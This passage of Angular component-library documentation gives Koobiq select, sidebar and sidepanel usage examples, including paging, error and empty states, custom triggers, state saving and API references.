                                status: 'success',
                                data: this.accumulated,
                                hasMore: result.hasMore,
                                loadingMore: false
                            };
                        }),
                        catchError(() => {
                            this.currentPage--;
                            this.isLoadingMore = false;
                            this.currentHasMore = false;

                            return of({
                                status: 'success',
                                data: this.accumulated,
                                hasMore: this.currentHasMore,
                                loadingMore: this.isLoadingMore,
                                pageNotLoaded: true
                            } as SelectState);
                        }),
                        startWith({
                            status: 'success',
                            data: this.accumulated,
                            hasMore: true,
                            loadingMore: true
                        } as SelectState)
                    );
                })
            );

            return merge(
                initialLoad$.pipe(
                    tap((state) => {
                        if (state.status === 'success') {
                            this.accumulated = state.data;
                        }
                    })
                ),
                loadMore$
            );
        })
    );
}

@Component({
    selector: 'select-paging-error-example',
    imports: [
        KbqSelectModule,
        KbqIconModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqHighlightBackgroundPipe,
        KbqButtonModule,
        KbqProgressSpinnerModule
    ],
    template: `
        <div class="layout-column layout-align-center-start layout-gap-l">
            <kbq-form-field>
                <kbq-select
                    #select
                    [compareWith]="compareWith"
                    [showPreselectedValues]="true"
                    [value]="selectedOption"
                    [virtualOptionFactory]="virtualOptionFactory"
                    (beforeOpened)="reloadOptions()"
                    (opened)="onSelectOpened(select)"
                    (closed)="onSelectClosed()"
                >
                    <kbq-form-field noBorders kbqSelectSearch>
                        <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                        <input kbqInput type="text" autocomplete="off" [formControl]="searchControl" />
                        <kbq-cleaner />
                    </kbq-form-field>

                    @if (facade.state$ | async; as state) {
                        @switch (state.status) {
                            @case ('loading') {
                                <kbq-select-loading />
                            }
                            @case ('empty') {
                                <div kbq-select-search-empty-result>Ничего не найдено</div>
                            }
                            @case ('error') {
                                <kbq-select-error>
                                    <span kbq-select-error-text>Не удалось показать записи</span>
                                    <button
                                        kbq-button
                                        [kbqStyle]="'transparent'"
                                        [color]="'theme'"
                                        (click)="reloadOptions()"
                                    >
                                        <i kbq-icon="kbq-arrow-rotate-left_16"></i>
                                        Повторить
                                    </button>
                                </kbq-select-error>
                            }
                            @case ('success') {
                                @for (option of state.data; track option.id) {
                                    <kbq-option [value]="option">
                                        <span
                                            [innerHTML]="option.label | kbqHighlightBackground: searchControl.value"
                                        ></span>
                                    </kbq-option>
                                }

                                @if (state.loadingMore) {
                                    <kbq-option [disabled]="true">
                                        <div class="layout-row layout-align-start-center">
                                            <kbq-progress-spinner [mode]="'indeterminate'" />
                                            <span class="layout-padding-left-s">Загрузка</span>
                                        </div>
                                    </kbq-option>
                                }

                                @if (state.pageNotLoaded) {
                                    <kbq-select-error paging>
                                        <span kbq-select-error-text>Не удалось показать записи</span>
                                        <div>
                                            <button
                                                kbq-button
                                                [kbqStyle]="'transparent'"
                                                [color]="'theme'"
                                                (click)="reloadOptions()"
                                            >
                                                <i kbq-icon="kbq-arrow-rotate-left_16"></i>
                                                Повторить
                                            </button>
                                        </div>
                                    </kbq-select-error>
                                }
                            }
                        }
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    providers: [SelectFacade, OptionsApiService],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectPagingErrorExample implements OnDestroy {
    protected readonly facade = inject(SelectFacade);

    protected selectedOption: Option = { id: 0, label: `Option #0` };

    protected readonly compareWith = (a: Option | null, b: Option | null) => a?.id === b?.id;
    protected readonly virtualOptionFactory = (value: Option) => new KbqVirtualOption(value, false, value.label);

    readonly searchControl = new FormControl('');

    private scrollSub: Subscription | null = null;

    protected onSelectOpened(select: KbqSelect) {
        const scrollContainer = select.optionsContainer()?.nativeElement;

        if (!scrollContainer) return;

        this.scrollSub = fromEvent(scrollContainer, 'scroll').subscribe(() => {
            const { scrollTop, scrollHeight, clientHeight } = scrollContainer;

            if (scrollTop + clientHeight >= scrollHeight - 30) {
                this.facade.loadMore();
            }
        });
    }

    protected onSelectClosed() {
        this.scrollSub?.unsubscribe();
        this.scrollSub = null;
        this.facade.reset();
    }

    // in beforeOpened used as an example to show loading every time the select is opened
    protected reloadOptions() {
        this.searchControl.setValue('');
    }

    ngOnDestroy() {
        this.scrollSub?.unsubscribe();
    }

    constructor() {
        this.searchControl.valueChanges
            .pipe(takeUntilDestroyed())
            .subscribe((value) => this.facade.setSearch(value ?? ''));
    }
}
```

#### No Available Options

A select component is intended to have available choices. If it has no options, this should be treated as an exceptional case. When the application does not provide any choices, the select should be replaced with an input field or a dialog for creating a new entity.

**Example: Select add new option** (`select-add-new-option`)

```ts select-add-new-option-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqForm, KbqFormElement } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink, KbqLinkPrefix } from '@koobiq/components/link';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-add-new-option-example',
    imports: [
        KbqSelectModule,
        FormsModule,
        KbqIconModule,
        KbqButtonModule,
        KbqForm,
        KbqFormElement,
        KbqLink,
        KbqLinkPrefix
    ],
    template: `
        <form novalidate class="kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Login account</label>
                <kbq-form-field class="kbq-form__control">
                    <kbq-select [value]="selected">
                        @for (option of options; track option) {
                            <kbq-option [value]="option">{{ option }}</kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>
            </div>

            <div class="kbq-form__row">
                <div>Account for privilege escalation</div>
                <div class="layout-padding-top-3xs" [style.color]="'var(--kbq-foreground-contrast-secondary)'">
                    There are no suitable accounts of this type (Terminal) in Mega App
                </div>
                <div class="layout-padding-top-xs">
                    <span kbqLink>
                        <i kbq-icon="kbq-plus_16" kbqLinkPrefix></i>
                        New Account
                    </span>
                </div>
            </div>
        </form>
    `,
    styles: `
        .kbq-form-vertical {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectAddNewOptionExample {
    readonly options = [
        'admin / @dm1n',
        'root / P@ssw0rd',
        'user / us3R'
    ];
    readonly selected = this.options[1];
}
```

As a last resort, you can place a message in the dropdown menu. Hide the search field if it is known for sure that there are no options in the menu at all.

**Example: Select no variants** (`select-no-variants`)

```ts select-no-variants-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqForm, KbqFormElement } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-no-variants-example',
    imports: [
        KbqSelectModule,
        FormsModule,
        KbqIconModule,
        KbqForm,
        KbqFormElement,
        KbqButtonModule
    ],
    template: `
        <form novalidate class="kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Empty select</label>
                <kbq-form-field>
                    <kbq-select>
                        @for (option of options; track option) {
                            <kbq-option [value]="option">{{ option }}</kbq-option>
                        }

                        @if (noOptions) {
                            <kbq-select-no-options>Нет вариантов выбора</kbq-select-no-options>
                        }
                    </kbq-select>
                </kbq-form-field>
            </div>
        </form>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectNoVariantsExample {
    options: string[];
    noOptions: boolean;

    constructor() {
        this.loadOptions();
    }

    loadOptions() {
        this.options = [];
        this.noOptions = true;
    }
}
```

#### Custom Message Design

**Example: Select loading error (custom)** (`select-loading-error-custom`)

```ts select-loading-error-custom-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqForm, KbqFormElement } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSelectModule } from '@koobiq/components/select';

const delayBeforeShowError = 3000;

@Component({
    selector: 'select-loading-error-custom-example',
    imports: [
        KbqSelectModule,
        FormsModule,
        KbqIconModule,
        KbqForm,
        KbqFormElement,
        KbqButtonModule,
        KbqEmptyStateModule
    ],
    template: `
        <form novalidate class="kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Custom Error State</label>
                <kbq-form-field>
                    <kbq-select (opened)="loadOptions()" (closed)="reset()">
                        @if (loading()) {
                            <kbq-select-loading />
                        }

                        @if (error()) {
                            <kbq-empty-state class="layout-margin-top-l layout-margin-bottom-3xl" [errorColor]="true">
                                <i
                                    kbq-empty-state-icon
                                    kbq-icon-item="kbq-triangle-exclamation_16"
                                    [big]="true"
                                    [color]="'contrast'"
                                    [fade]="true"
                                ></i>
                                <div kbq-empty-state-text>Failed to load the location list</div>
                                <div kbq-empty-state-actions>
                                    <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Try Again</button>
                                </div>
                            </kbq-empty-state>
                        }
                    </kbq-select>
                </kbq-form-field>
            </div>
        </form>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectLoadingErrorCustomExample {
    readonly error = signal(false);
    readonly loading = signal(true);

    protected loadOptions() {
        setTimeout(() => {
            this.loading.set(false);
            this.error.set(true);
        }, delayBeforeShowError);
    }

    protected reset() {
        this.loading.set(true);
        this.error.set(false);
    }
}
```

##### Example with kbq-select-trigger

kbq-select-trigger allows you to override the block that displays the selected value without affecting the placeholder, cleaner, or icon.

**Example: select-custom-trigger** (`select-custom-trigger`)

```ts select-custom-trigger-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-custom-trigger-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-select #select="kbqSelect" [(value)]="selected">
            <ng-container kbq-select-trigger>custom trigger {{ select.triggerValue }}</ng-container>

            @for (option of options; track option) {
                <kbq-option [value]="option">{{ option }}</kbq-option>
            }
        </kbq-select>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectCustomTriggerExample {
    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    readonly selected = this.options[0];
}
```

##### Example with kbq-select-matcher

kbq-select-matcher allows you to replace the entire contents of kbq-select, including the placeholder, cleaner, and icon.

**Example: select-custom-matcher** (`select-custom-matcher`)

```ts select-custom-matcher-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-custom-matcher-example',
    imports: [KbqSelectModule, KbqButtonModule],
    template: `
        <kbq-select
            #select="kbqSelect"
            [tabIndex]="-1"
            [class]="{ 'kbq-select': false, 'my-custom-select': true }"
            [(value)]="selected"
        >
            <button kbq-button kbq-select-matcher>
                {{ select.triggerValue }}

                <i class="layout-padding-left-3xs" kbq-icon="kbq-chevron-down-s_16"></i>
            </button>

            @for (option of options; track option) {
                <kbq-option [value]="option">{{ option }}</kbq-option>
            }
        </kbq-select>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .my-custom-select {
            outline: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectCustomMatcherExample {
    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    readonly selected = this.options[0];
}
```

##### Example with kbqSelectTagContent

`kbqSelectTagContent` allows you to override the markup of every tag in the matcher in multiple selection mode. The template receives the option itself and the select instance, so each tag can be rendered differently depending on its value.

**Example: select-custom-tag-content** (`select-custom-tag-content`)

```ts select-custom-tag-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'select-custom-tag-content-example',
    imports: [KbqSelectModule, KbqTagsModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-select multiple placeholder="Placeholder" [(value)]="selected">
                @for (name of severityNames; track name) {
                    <kbq-option [value]="name">{{ name }}</kbq-option>
                }

                <ng-template #kbqSelectTagContent let-option let-select="select">
                    <kbq-tag
                        [selectable]="false"
                        [disabled]="option.disabled || select.disabled()"
                        [color]="severities[option.value].color"
                    >
                        <i kbqTagPrefix [kbq-icon]="severities[option.value].icon"></i>
                        {{ option.viewValue }}
                        <!-- The custom template replaces the built-in markup, so the remove control is up to us. -->
                        @if (!option.disabled && !select.disabled()) {
                            <i
                                kbq-icon="kbq-xmark-s_16"
                                kbqTagRemove
                                (click)="select.onRemoveMatcherItem(option, $event)"
                            ></i>
                        }
                    </kbq-tag>
                </ng-template>

                <kbq-cleaner #kbqSelectCleaner />
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectCustomTagContentExample {
    /**
     * Per-value tag appearance — the built-in markup paints every tag with the same color.
     * Only these four colors are themed for `kbq-tag`.
     */
    readonly severities: Record<string, { color: KbqComponentColors; icon: string }> = {
        Critical: { color: KbqComponentColors.Error, icon: 'kbq-circle-xmark_16' },
        Major: { color: KbqComponentColors.Warning, icon: 'kbq-triangle-exclamation_16' },
        Minor: { color: KbqComponentColors.Theme, icon: 'kbq-circle-info_16' },
        Info: { color: KbqComponentColors.ContrastFade, icon: 'kbq-circle-info_16' }
    };

    /** List of options — the keys of `severities`, computed once so the template doesn't rebuild it. */
    readonly severityNames = Object.keys(this.severities);

    /** Selected values; not readonly, because the field is bound with `[(value)]`. */
    selected = this.severityNames.slice(0, 3);
}
```

#### Custom scroll strategy

Override the scroll strategy via `KBQ_SELECT_SCROLL_STRATEGY`. `KbqAutoHideScrollStrategy` (from `@koobiq/components/core`) stops repositioning once the trigger scrolls out of view and emits on `hide`, so you can close the panel yourself.

**Example: select-auto-hide-scroll-strategy** (`select-auto-hide-scroll-strategy`)

```ts select-auto-hide-scroll-strategy-example.ts
import { CdkScrollableModule, ScrollDispatcher, ViewportRuler } from '@angular/cdk/scrolling';
import {
    AfterViewInit,
    ChangeDetectionStrategy,
    Component,
    DestroyRef,
    NgZone,
    inject,
    viewChild
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import {
    KBQ_SELECT_SCROLL_STRATEGY,
    KbqAutoHideScrollStrategy,
    kbqAutoHideScrollStrategyFactory
} from '@koobiq/components/core';
import { KbqNativeScrollbar } from '@koobiq/components/scrollbar';
import { KbqSelect, KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-auto-hide-scroll-strategy-example',
    imports: [CdkScrollableModule, KbqSelectModule, KbqNativeScrollbar],
    template: `
        <div class="example-select-auto-hide-scroll-strategy__container" kbqNativeScrollbar cdkScrollable>
            <div class="example-select-auto-hide-scroll-strategy__spacer">Scroll down</div>

            <kbq-form-field>
                <kbq-select [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>

            <div class="example-select-auto-hide-scroll-strategy__spacer">Scroll up</div>
        </div>
    `,
    styles: `
        .example-select-auto-hide-scroll-strategy__container {
            height: 200px;
            overflow-y: auto;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: 4px;
            padding: 16px;
        }

        .example-select-auto-hide-scroll-strategy__spacer {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 250px;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    providers: [
        {
            provide: KBQ_SELECT_SCROLL_STRATEGY,
            useFactory: () => {
                const scrollDispatcher = inject(ScrollDispatcher);
                const viewportRuler = inject(ViewportRuler);
                const ngZone = inject(NgZone);

                return kbqAutoHideScrollStrategyFactory(scrollDispatcher, viewportRuler, ngZone);
            }
        }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectAutoHideScrollStrategyExample implements AfterViewInit {
    protected readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    protected readonly selected = this.options[0];

    private readonly select = viewChild.required(KbqSelect);
    private readonly destroyRef = inject(DestroyRef);

    ngAfterViewInit(): void {
        const select = this.select();

        // `scrollStrategy` is created eagerly as a field initializer, so it's ready to subscribe
        // to as soon as the view is initialized — no need to force-create an overlay first.
        const scrollStrategy = select.scrollStrategy as KbqAutoHideScrollStrategy;

        scrollStrategy.hide.pipe(takeUntilDestroyed(this.destroyRef)).subscribe(() => select.close());
    }
}
```

## Sidebar

- Entry point: `@koobiq/components/sidebar`
- NgModule: `KbqSidebarModule`
- Page: https://koobiq.io/en/components/sidebar/overview

### Overview

Component designed to add collapsible side content.

**Example: Sidebar overview** (`sidebar-overview`)

```ts sidebar-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidebarModule, SidebarPositions } from '@koobiq/components/sidebar';

@Component({
    selector: 'sidebar-overview-example',
    imports: [KbqSidebarModule, KbqButtonModule],
    template: `
        <kbq-sidebar
            #leftSidebar="kbqSidebar"
            [opened]="leftOpened"
            [position]="position.Left"
            (stateChanged)="onStateChanged($event, position.Left)"
        >
            <div kbq-sidebar-opened width="170px">Left opened content</div>
            <div kbq-sidebar-closed width="44px">Left closed content</div>
        </kbq-sidebar>

        <main>
            <div>Main content</div>
            <div><button kbq-button (click)="toggleLeft()">Toggle left model</button></div>
            <div><button kbq-button (click)="leftSidebar.toggle()">Toggle left</button></div>
            <div><button kbq-button (click)="toggleRight()">Toggle right model</button></div>
            <div><button kbq-button (click)="rightSidebar.toggle()">Toggle right</button></div>
        </main>

        <kbq-sidebar
            #rightSidebar="kbqSidebar"
            [opened]="rightOpened"
            [position]="position.Right"
            (stateChanged)="onStateChanged($event, position.Right)"
        >
            <div kbq-sidebar-opened width="170px">Right opened content</div>
            <div kbq-sidebar-closed width="44px">Right closed content</div>
        </kbq-sidebar>
    `,
    styles: `
        :host {
            display: flex;
            height: 250px;
        }

        .kbq-sidebar {
            background-color: var(--kbq-background-bg-secondary);
        }

        .kbq-sidebar-opened,
        .kbq-sidebar-closed {
            padding: var(--kbq-size-m);
        }

        .kbq-sidebar-closed {
            box-sizing: border-box;
            writing-mode: sideways-lr;
            text-align: center;
        }

        main {
            flex-grow: 1;
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidebarOverviewExample {
    readonly position = SidebarPositions;

    leftOpened = true;
    rightOpened = false;

    toggleLeft(): void {
        this.leftOpened = !this.leftOpened;
    }

    toggleRight(): void {
        this.rightOpened = !this.rightOpened;
    }

    onStateChanged(opened: boolean, position: SidebarPositions): void {
        console.log(`Sidebar ${position} onStateChanged: `, opened);
    }
}
```

#### State Saving

The sidebar remembers whether it was open and the width it was closed at, and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

**Example: Sidebar state saving** (`sidebar-state-saving`)

```ts sidebar-state-saving-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidebarModule, SidebarPositions } from '@koobiq/components/sidebar';

@Component({
    selector: 'sidebar-state-saving-example',
    imports: [KbqSidebarModule, KbqButtonModule],
    template: `
        <!-- No opened binding: the sidebar owns its state, which is what lets it persist. -->
        <kbq-sidebar #sidebar="kbqSidebar" stateSavingKey="sidebar-state-saving-example" [position]="position.Left">
            <div kbq-sidebar-opened width="170px">Opened content</div>
            <div kbq-sidebar-closed width="44px">Closed content</div>
        </kbq-sidebar>

        <main>
            <div>Toggle the sidebar and reload the page — it comes back the way it was left.</div>
            <div><button kbq-button type="button" (click)="sidebar.toggle()">Toggle</button></div>
            <div><button kbq-button type="button" (click)="sidebar.clearSavedState()">Reset saved state</button></div>
        </main>
    `,
    styles: `
        :host {
            display: flex;
            height: 250px;
        }

        .kbq-sidebar {
            background-color: var(--kbq-background-bg-secondary);
        }

        .kbq-sidebar-opened,
        .kbq-sidebar-closed {
            padding: var(--kbq-size-m);
        }

        .kbq-sidebar-closed {
            box-sizing: border-box;
            writing-mode: sideways-lr;
            text-align: center;
        }

        main {
            flex-grow: 1;
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidebarStateSavingExample {
    readonly position = SidebarPositions;
}
```

Nothing is persisted while `opened` is bound — a binding there means the application decides. A sidebar that should remember its own state is left uncontrolled and toggled through `toggle()` or the `[` / `]` shortcut.

`clearSavedState()` removes what is stored.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Keyboard interaction

| Key | Action                   |
| --- | ------------------------ |
| \[  | Open/close left Sidebar  |
| ]   | Open/close right Sidebar |

### API

#### Components

##### KbqSidebar (component)

```ts
@Component({ selector: 'kbq-sidebar', exportAs: 'kbqSidebar' })
class KbqSidebar {
    opened = input<boolean | undefined>();
    readonly position = input<SidebarPositions>();
    readonly stateChanged = output<boolean>();
    get hasSavedState(): boolean;
    saveState(): void;
    clearSavedState(): void;
    toggle(): void;
}
```

- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this sidebar — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `saveState()`: `void` — Persists whether the sidebar is open and the width it was last left at.

  Called whenever `opened` changes. The width is only captured as the sidebar closes, so dragging it
  wider and reloading without closing it keeps the previous width — the same as before persistence.
- `clearSavedState()`: `void` — Removes the state persisted for this sidebar.

  Persistence itself stays on — the next change is written again. Unset `useStateSaving` to stop it.

#### Directives

##### KbqSidebarClosed (directive)

```ts
@Directive({ selector: '[kbq-sidebar-closed]', exportAs: 'kbqSidebarClosed' })
class KbqSidebarClosed {
    readonly width = input<string>();
}
```

##### KbqSidebarOpened (directive)

```ts
@Directive({ selector: '[kbq-sidebar-opened]', exportAs: 'kbqSidebarOpened' })
class KbqSidebarOpened {
    readonly minWidth = input<string>();
    readonly width = input<string>();
    readonly maxWidth = input<string>();
}
```

#### Types

##### KbqSidebarState (interface)

The persisted state of a sidebar — whether it was open, and the width it was last left at.

```ts
interface KbqSidebarState {
    opened: boolean;
    width?: string;
}
```

- `width?`: `string` — Absent while the sidebar has never been resized away from the width its content declares.

#### Enums

##### SidebarPositions (enum)

```ts
enum SidebarPositions {
    Left = 'left',
    Right = 'right'
}
```

### Examples

#### With splitter

**Example: Sidebar with splitter** (`sidebar-with-splitter`)

```ts sidebar-with-splitter-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidebarModule, SidebarPositions } from '@koobiq/components/sidebar';
import { Direction, KbqSplitterModule } from '@koobiq/components/splitter/deprecated';

@Component({
    selector: 'sidebar-with-splitter-example',
    imports: [KbqSidebarModule, KbqButtonModule, KbqSplitterModule],
    template: `
        <kbq-splitter [direction]="direction.Horizontal" [disabled]="!opened">
            <kbq-sidebar
                #sidebar="kbqSidebar"
                kbq-splitter-area
                [opened]="opened"
                [position]="position.Left"
                (stateChanged)="onStateChanged($event)"
            >
                <div kbq-sidebar-opened minWidth="170px" width="170px" maxWidth="50%">Opened content</div>
                <div kbq-sidebar-closed width="44px">Closed content</div>
            </kbq-sidebar>

            <main kbq-splitter-area>
                <div>Main content</div>
                <div><button kbq-button (click)="toggle()">Toggle model</button></div>
                <div><button kbq-button (click)="sidebar.toggle()">Toggle</button></div>
            </main>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            height: 250px;
        }

        .kbq-splitter {
            flex-grow: 1;
        }

        .kbq-sidebar {
            background-color: var(--kbq-background-bg-secondary);
        }

        .kbq-sidebar-opened,
        .kbq-sidebar-closed {
            padding: var(--kbq-size-m);
        }

        .kbq-sidebar-closed {
            box-sizing: border-box;
            writing-mode: sideways-lr;
            text-align: center;
        }

        main {
            flex-grow: 1;
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidebarWithSplitterExample {
    readonly direction = Direction;
    readonly position = SidebarPositions;

    opened = true;

    toggle(): void {
        this.opened = !this.opened;
    }

    onStateChanged(opened: boolean): void {
        console.log('onStateChanged: ', opened);
    }
}
```

## Sidepanel

- Entry point: `@koobiq/components/sidepanel`
- NgModule: `KbqSidepanelModule`
- Page: https://koobiq.io/en/components/sidepanel/overview

### Overview

A sidepanel is a window that slides in from the edge of the screen and appears on top of the main page content.

#### When to use

A sidepanel is similar to a [modal](https://koobiq.io/en/components/modal.md). It works well when you need to display a large amount of data.

#### Component structure

- Header
- Close button (×)
- Body. Can contain text, controls, and input fields
- Footer with action buttons

#### How it works

By default the sidepanel appears on the right, but depending on context it can also appear on the left.

##### Modal mode (with page blocking)

When opening, the sidepanel slides in from the edge of the screen and dims the rest of the page (indicating that the dimmed area is not interactive). When closed (or when the overlay is clicked), it slides back out.

The sidepanel closes on a left mouse button click only: the right and middle buttons open the browser's context menu or trigger its own actions and leave the panel alone. The [modal dialog](https://koobiq.io/en/components/modal.md) behaves the same way.

**Example: Sidepanel modal mode** (`sidepanel-overview`)

```ts sidepanel-overview-example.ts
import { ChangeDetectionStrategy, Component, TemplateRef, inject, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqSidepanelModule, KbqSidepanelPosition, KbqSidepanelService } from '@koobiq/components/sidepanel';

@Component({
    selector: 'sidepanel-overview-example',
    imports: [KbqSelectModule, KbqButtonModule, KbqSidepanelModule],
    templateUrl: 'sidepanel-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelOverviewExample {
    private sidepanelService = inject(KbqSidepanelService);

    position = KbqSidepanelPosition.Right;

    readonly template = viewChild.required(TemplateRef);

    arrayLength = 40;
    array = new Array(this.arrayLength);

    openSidepanel() {
        this.sidepanelService.open(this.template(), {
            position: this.position,
            hasBackdrop: true
        });
    }
}
```

```html sidepanel-overview-example.html
<div class="kbq-form-horizontal">
    <div class="kbq-form__row">
        <label class="kbq-form__label">Position</label>
        <kbq-form-field style="min-width: 120px" class="kbq-form__control flex-10">
            <kbq-select [(value)]="position">
                <kbq-option [value]="'right'">Right</kbq-option>
                <kbq-option [value]="'left'">Left</kbq-option>
                <kbq-option [value]="'top'">Top</kbq-option>
                <kbq-option [value]="'bottom'">Bottom</kbq-option>
            </kbq-select>
        </kbq-form-field>
    </div>
</div>

<br />

<button kbq-button [color]="'contrast'" (click)="openSidepanel()">
    <span>Open sidepanel</span>
</button>

<ng-template>
    <kbq-sidepanel-header [closeable]="true">Sidepanel Template Content</kbq-sidepanel-header>
    <kbq-sidepanel-body style="padding-top: 8px; padding-bottom: 8px">
        <div style="padding: 8px" class="kbq-subheading">Sidepanel Template Body</div>

        @for (item of array; track $index) {
            <div style="padding: 8px">
                {{ $index + 1 }}
            </div>
        }
    </kbq-sidepanel-body>

    <kbq-sidepanel-footer>
        <kbq-sidepanel-actions align="left">
            <button cdkFocusInitial kbq-button [color]="'contrast'">
                <span>Button</span>
            </button>
        </kbq-sidepanel-actions>

        <kbq-sidepanel-actions align="right">
            <span>Action</span>
        </kbq-sidepanel-actions>
    </kbq-sidepanel-footer>
</ng-template>
```

###### Disable close on backdrop click

The `disableClose` option in `KbqSidepanelConfig` prevents the sidepanel from being closed by clicking the backdrop or pressing Escape. This is useful when the user must explicitly confirm or dismiss the sidepanel through an action inside it, for example, to avoid losing unsaved changes.

**Example: Sidepanel with disabled close on backdrop click** (`sidepanel-disable-close`)

```ts sidepanel-disable-close-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidepanelModule, KbqSidepanelService } from '@koobiq/components/sidepanel';

@Component({
    selector: 'example-sidepanel-disable-close-content',
    imports: [KbqSidepanelModule, KbqButtonModule],
    template: `
        <kbq-sidepanel-header [closeable]="true">Sidepanel</kbq-sidepanel-header>
        <kbq-sidepanel-body>
            Clicking the backdrop or pressing Escape won't close this sidepanel. Use the button below or the close icon
            in the header instead.
        </kbq-sidepanel-body>
        <kbq-sidepanel-footer>
            <kbq-sidepanel-actions>
                <button kbq-button color="contrast" kbq-sidepanel-close>
                    <span>Close</span>
                </button>
            </kbq-sidepanel-actions>
        </kbq-sidepanel-footer>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleSidepanelDisableCloseContent {}

@Component({
    selector: 'sidepanel-disable-close-example',
